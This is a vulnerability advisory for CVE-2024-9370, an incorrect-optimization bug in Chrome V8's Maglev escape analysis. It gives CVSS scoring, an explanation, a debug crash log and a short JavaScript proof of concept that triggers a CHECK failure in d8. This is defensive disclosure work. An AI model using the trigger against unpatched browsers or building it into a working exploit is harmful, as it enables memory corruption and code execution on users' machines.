(CVE-2024-9370) Google Chrome V8 Maglev Escape Analysis Incorrect Optimization Bug

CVE: CVE-2024-9370

Affected Versions: Google Chrome prior to stable channel update of October 1, 2024

Summary

Product Google Chrome (V8 JavaScript Engine)
Vendor Google
Severity High
Affected Versions Google Chrome prior to stable channel update of October 1, 2024
CVE Identifier CVE-2024-9370
CVE Description An incorrect optimization in V8’s Maglev compiler escape analysis allows a specially crafted HTML page to trigger a CHECK failure, potentially exploitable for arbitrary code execution in the renderer process
CWE Classification(s) CWE-682: Incorrect Calculation

CVSS3.1 Scoring System

Base Score: 8.8 (High) Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Metric Value
Attack Vector (AV) Network
Attack Complexity (AC) Low
Privileges Required (PR) None
User Interaction (UI) Required
Scope (S) Unchanged
Confidentiality (C) High
Integrity (I) High
Availability (A) High

Technical Details

When a class constructor is optimized by V8’s Maglev compiler, several aggressive optimizations may be applied. One such optimization is inlined allocation: the this object can be constructed inline via BuildInlinedAllocation. Using a derived class with a constant new.target forces Maglev to take this path.

During the Escape Analysis phase, all InlinedAllocation nodes are analysed and can be elided — eliminated entirely — if they are not referenced after the point of allocation. The this object is a candidate for elision in this way. Returning a primitive value (return 1) from the constructor removes all uses of this, causing Maglev to elide it.

The bug arises when Error() is called within the same constructor. The Error() constructor traverses the stack frame looking for context. If it encounters a receiver object (this) that has already been elided by escape analysis, the runtime hits a CHECK assertion in frames.cc:

Check failed: !translated_values->IsMaterializedObject()

This CHECK failure represents a violation of the compiler’s invariants — the runtime encounters a materialized object at a point where escape analysis has guaranteed none should exist. In a release build, such invariant violations are exploitable to achieve memory corruption in the renderer process.

Crash Log

#
# Fatal error in ../../src/execution/frames.cc, line 2806
# Check failed: !translated_values->IsMaterializedObject().
#
#FailureMessage Object: 0x7fff0d5ab688
==== C stack trace ===============================

    ./v8/out/debug/d8(v8::base::debug::StackTrace::StackTrace()+0x1e) [0x64a72564ccee]
    ./v8/out/debug/d8(+0xb54d57d) [0x64a72564757d]
    ./v8/out/debug/d8(V8_Fatal(char const*, int, char const*, ...)+0x205) [0x64a725621c75]
    ./v8/out/debug/d8(v8::internal::OptimizedFrame::Summarize(...) const+0x6bb) [0x64a7210611fb]
    ./v8/out/debug/d8(+0x6fb57de) [0x64a7210af7de]
    ./v8/out/debug/d8(+0x6f868c4) [0x64a7210808c4]
    ./v8/out/debug/d8(v8::internal::Isolate::CaptureAndSetErrorStack(...)+0x1e5) [0x64a7210801f5]
    ./v8/out/debug/d8(v8::internal::ErrorUtils::Construct(...)+0x7fc) [0x64a7210eb3bc]
    ./v8/out/debug/d8(v8::internal::ErrorUtils::Construct(...)+0xc4) [0x64a7210eaba4]
    ./v8/out/debug/d8(+0x6b4292d) [0x64a720c3c92d]
    ./v8/out/debug/d8(v8::internal::Builtin_ErrorConstructor(int, unsigned long*, v8::internal::Isolate*)+0xfb) [0x64a720c3c5cb]
    ./v8/out/debug/d8(+0xacd06fd) [0x64a724dca6fd]

Proof of Concept

class A {}
class B extends A {
    constructor() {
        glb = new.target;        // -> new.target is constant, enabling inlined allocation
        super();                 // -> triggers BuildInlinedAllocation for `this`
        Error();                 // -> traverses stack, encounters elided receiver
        return 1;                // -> removes all uses of `this`, causing elision
    }
}
var glb = B;
%PrepareFunctionForOptimization(B);
try {
    new B();
} catch (e) {
    %DebugPrint(e);
}                               // use try-catch to suppress TypeError on first run
%OptimizeMaglevOnNextCall(B);
new B();                        // triggers bug under Maglev optimisation

Fix

The vulnerability was patched in the Chrome Stable Channel Update — October 1, 2024.

Credit

Nguyễn Hoàng Thạch, Đỗ Minh Tuấn and Wu JinLin of STAR Labs SG Pte. Ltd.

Timeline